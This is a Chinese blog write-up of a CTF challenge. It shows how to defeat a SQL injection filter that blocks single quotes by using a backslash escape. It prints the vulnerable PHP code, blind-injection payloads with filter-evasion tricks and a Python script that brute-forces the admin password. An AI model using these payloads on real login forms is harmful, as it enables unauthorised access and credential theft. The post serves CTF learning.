被过滤了引号的SQL注入如何破?


在去年十月份的时候本菜参加了一场CTF比赛,有一道过滤了单引号的SQL注入当时并没有做出来,让我一直心心念念。今天在做CISCN2019 总决赛 EasyWeb题的时候受到了启发,终于解开了一个心头的包袱。


    先祭出当时比赛的原题,高手请一笑而过。。


<?php include "./config.php";include "./flag.php";error_reporting(0);echo "<h1><strong><b>Welcom to MiniInject</b></strong><br></h1>";
$blacklist = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";$blacklist .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($blacklist, $_GET['user'])) exit("Something wrong!");if(preg_match($blacklist$_GET['pw']))exit("Something wrong!");
$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"$userstr = "user:$_GET[user]";$pwstr = "pass:$_GET[pw]";
$result = mysqli_query($conn,$query);$result = mysqli_fetch_array($result,MYSQLI_ASSOC);$admin_pass = mysqli_fetch_array(mysqli_query($conn,"select pw from chal where user='admin'"),MYSQLI_ASSOC);
echo "<h1><strong><b>{$userstr}</b></strong><br></h1>";echo "<h1><strong><b>{$pwstr}</b></strong><br></h1>";

if($result['user']) echo "<h2><br>Welcome {$result['user']}<br></h2>"
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){ echo $flag;}
?>

经过这道题,深深的感受到,如果输入的数据能打破数据和代码的分界,就能造成漏洞。

以常规的SQL注入为例,
select pwd from user where name='admin';

代码就是两个单引号之外的一切。数据就是单引号中间的admin。

假如我们输入admin'union select database()#,我们输入的单引号就打破了这种边界,而单引号之后的一切就是我们攻击的代码。
最终
select pwd from user where name='admin' union select database()#';

难道打破这种边界的只有单引号吗??

当然不是,一直以来忽略了一个重要的字符。
转义字符 \


转义字符,顾名思义,就是改变字符本来的意义。比如本来有一个字符n,这是一个小写字母。如果在前面加上转义字符\,这个字符就变成了回车。各种编程语言就用这种方式来让你输入不可见字符。同时由于一个字符串的边界是引号,所以,想要在字符串内写一个引号的话也需要转义,就变成了\'和\"。


这道题,如果我们在user字符输入转义字符,那么传入SQL数据库引擎的就变成了

select user from chal where user='admin\' and pw='pwd'




我们将第一个单引号转义了!最终数据库将查询一个名为admin\' and pw=的用户,而我们在pw字段随意输入的一切将被当作SQL语句!


我们如果在使用00截断后面的语句,这道题就变成了一道盲注题。


/?user=\&pw=||(1);%00 /?user=\&pw=||(0);%00 


剩下的就比较简单了。


使用/**/来替代空格。


使用regexp来代替like。


使用lpad来代替substr。


使用十六进制编码代替字符串。


最终的payload


?user=d\&pw=||(lpad(pw,1,0x2a)regexp/**/0x61);%00

然后编写个脚本跑一下就能拿到admin的密码。

import requestsimport stringimport itertools
flag = ''done = Falselarger_url = f"http://192.168.99.1/?user=d\&pw=||(lpad(pw,%d,0x2a)regexp/**/%s);\x00"
true_string = 'Welcome admin'waf_string = 'Something wrong!'
import binasciiflag = ''for i in itertools.count(1):    for j in range(ord('A'), ord('z') + 1): purl = larger_url % (i, '0x' + str(binascii.hexlify(bytes(flag+chr(j),'ascii')),'ascii')) res = requests.get(purl) if true_string in res.text: flag = flag +chr(j) print(flag) break elif waf_string in res.text: print('waf detected!') exit() else: print('not exists %d' % i) breakprint(repr(flag),len(flag))


©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面...
    漏斗社区阅读 23,456评论 0 7
  • 最近两周刷了一下sqli-labs,对sql注入有了一个基本的认识。这里写个总结。 1.sql注入原理简单介绍在一...
    jun123123阅读 1,390评论 1 3
  • 这是个笔记,没自己试过,就是涨姿势的。很好的资料:随笔分类 - sqli-labs通关详解[%5Bhttps://...
    yumiii_阅读 2,649评论 2 10
  • 注入攻击的分类 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传...
    查无此人asdasd阅读 1,689评论 0 5
  • 最完美的黄金分割是60%比上40%,最佳的点是0.618! 这是一个神秘的数字,也是一个完美的数字,在任何的情况下...
    佟言佟语阅读 354评论 0 1